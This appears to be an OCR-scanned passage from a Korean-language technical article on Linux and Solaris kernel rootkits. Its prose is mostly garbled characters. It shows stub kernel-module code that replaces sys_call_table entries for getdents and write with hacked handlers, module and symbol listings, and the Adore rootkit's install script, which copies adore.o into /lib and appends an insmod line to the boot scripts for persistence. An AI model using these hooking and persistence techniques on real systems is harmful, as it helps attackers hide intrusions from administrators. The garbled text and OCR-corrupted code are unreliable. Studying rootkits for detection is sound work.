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int hacked_getdents( )

int init_module()
orig_getdents = sys_call_table[ NR_getdents];
sys_call_table[ NR_getdents] = hacked_getdents;

void cleanup_module()

sys_call_table[ NR_getdents] = orig_getdents;
"getdents"= Is FHES AYPY o ZEHE system
call v, 337 Z& AY BESL o435 getdents
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Call 91 hacked getdents 7} AYLHEE 3o} a1
hacked_getdents ¥ FAA7 THE HYL £¥ol
A GEF HETH2B)

2.3 String 27|

A5 Rootkit A E ps, netstat, who 5 ¢ ZE3
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int hacked_write()

int init_module()

orig_write = sys_call_table[ _ NR_write];
sys_call_table[_ NR_write] = hacked_write;

void cleanup_module()

sys_call_table[ NR_write] = orig_write;
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Load Addr 1ID Load Addr Size Module Name

£59e1000 5 £59e1000 4577 specfyg
£59e5994 78 £59e5994 1cl9 tlimod
£59e7378 80 f5%e7378 2ds ipe
£59e7670 7 £59e7670 2ddc TS
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f5a4bfb8 12 fSa4bfbs ce3 rootnex
f5a4cc9c 13 f5a4ccoc lec options
f5a4ce88 14 fSadcess 76cC dma
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Text Segment

Load addr Size Type Symbeol name

10xf5b53f4|0x00000084FUNC newcreat64
10xf5b54078|0x00000074|FUNC |newchdir
10xf5b54304(0x00000050JFUNC |newsetuid
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mv adore/adore.o /lib
echo
if [ -f/lib/adore.o ]; then
mv adore/ava /bin/AVA
echo -n "Setting up rc.syswhatever: ..."
if [ -f/etc/rc.d/rc.sysinit ]; then
cat rc >> /etc/rc.d/rc.sysinit
else
if [ -f /etc/rc.d/rc.sysvinit ]; then
cat rc >> /etc/rc.d/re.sysvinit
fi
fi
fi

Figure l:install.sh 5+¥

if [ -f /sbin/insmod }; then
/sbin/insmod -f /lib/adore.o >/dev/mull 2>&1
else
if [ -f /bin/insmod J; then
fbin/insmod -f /lib/adore.o >/dev/mull 2>&1
fi
fi

Figure 2 : rc 5+
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